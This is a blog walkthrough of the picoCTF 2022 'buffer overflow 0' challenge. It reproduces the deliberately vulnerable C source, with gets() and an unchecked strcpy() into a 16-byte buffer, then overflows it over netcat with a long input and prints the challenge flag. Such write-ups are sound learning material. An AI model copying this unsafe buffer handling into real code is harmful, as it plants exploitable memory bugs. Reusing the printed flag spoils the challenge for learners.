picoCTF 2022: Binary Exploitation: buffer overflow 0

Nouman RahmanNouman Rahman
2 min read

Introduction

Challenge: buffer overflow 0

Category: Binary Exploitation

Description:

Smash the stack. Let's start off simple, can you overflow the correct buffer? The program is available here. You can view the source here. And connect with it using:

nc saturn.picoctf.net 65355

Solution

Here we've been provided with the binary executable and the source code. Let's take a look at the source code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){

  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler

  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1);
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

The one thing that I noticed is that we are printing the flag on a segmentation fault, which is an error raised by memory-protected hardware whenever it tries to access a memory address that is either restricted or does not exist. If the flag printf() resides within sigsegv_handler(), then we can safely assume that we must figure out how to trigger a segmentation fault.

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

We see that on line 40, the horrible gets() is called, and reads buf1 (the user input) onto the stack. This function sucks, as it will write the user’s input to the stack without regard to its allocated length. The user can simply overflow this length, and the program will pass their input into the vuln() function to trigger a segmentation fault:

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

gets(buf1); 
vuln(buf1);

Let's run the program and see if we get the flag if we did a segmentation fault:

nc saturn.picoctf.net 65355
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_34d6b87f}

Yeah, we got the flag!

Conclusion

Basically what we did was we did a buffer overflow. That means we have exceeded the size of a buffer.

Flag: picoCTF{ov3rfl0ws_ar3nt_that_bad_34d6b87f}

10
Subscribe to my newsletter

Read articles from Nouman Rahman directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Nouman Rahman
Nouman Rahman

13 Years Old • Full-Stack Developer • Software Engineer • Rustacian • YouTuber • Blogger • TypeScript, Cloud, DevOps, Rust, Networking, Web